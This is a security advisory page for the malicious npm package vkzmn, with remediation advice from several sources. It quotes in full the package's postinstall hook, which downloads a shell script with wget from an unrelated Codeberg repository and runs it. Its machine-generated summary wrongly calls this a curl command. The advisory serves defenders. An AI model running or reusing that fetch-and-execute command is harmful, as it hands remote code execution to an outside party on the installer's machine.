MalwarePublished 29 Jun 2026Updated 9 Jul 2026

vkzmn (npm) · Malicious Code

Affects vkzmnSource GCVE Database

Malicious package : remove vkzmn and rotate any secrets on hosts that installed it.

Data as of 10 Jul 2026, 09:29 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-6594

What to do

Remove vkzmn from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npmvkzmn	Affected–	Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dc2e10775ac70e6f3b083ac0a76374e09e11cac7b06068a4bd3b6114f796a0df) package.json declares a postinstall lifecycle hook that runs `wget https://codeberg.org/atilalogical/worm_teste/raw/branch/main/down_procwork.sh -O d.sh; bash d.sh`, downloading a shell script from a mutable branch of an unrelated personal Codeberg repository named `worm_teste` and executing it via bash on the installer's machine at `npm install` time. The fetched script is unpinned (mutable `main` branch), unverified (no hash/signature check), and from a destination that bears no relationship to any declared package purpose — the source repository name itself indicates worm/propagation testing. Whatever bytes the repository owner serves at fetch time execute with the privileges of the user running `npm install`. The package additionally declares a self-referential dependency (`vkzmn: ^1.0.4`), consistent with propagation scaffolding rather than a legitimate library. ## Source: ghsa-malware (a41dc023cd84c69935ac2c642d6cb9c187fb6bce9c18d226d785fba49e80e50a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Impact

Systems that install the 'vkzmn' package are fully compromised, granting the attacker arbitrary code execution capabilities. All secrets and keys stored on the compromised system should be considered exposed and must be rotated from a separate, secure environment. Removing the package alone may not remove all malicious components or backdoors introduced by the attacker.

Defensive guidance

The recommended mitigation is to immediately remove the 'vkzmn' package from all affected systems. Rotate all secrets and keys that were stored or accessible on compromised machines from a secure environment. Due to the nature of the compromise, consider rebuilding or thoroughly auditing affected systems to ensure no persistent malicious code remains.

Summary

The 'vkzmn' npm package declares a postinstall lifecycle hook that runs a curl command to download a shell script from a mutable branch on an unrelated third-party Codeberg repository and executes it immediately. The fetch is unpinned and unverified, allowing the remote operator to execute arbitrary code on any system installing the package. The package's metadata is empty and suspicious, indicating it is a malicious dropper rather than a legitimate library. This results in full compromise of the affected system.

References

Community reviews

Loading reviews…

What to do

Affected software

Description

AI analysisMachine-generated, updated 9 Jul 2026, 10:47 UTC

Technical details

References

Community reviews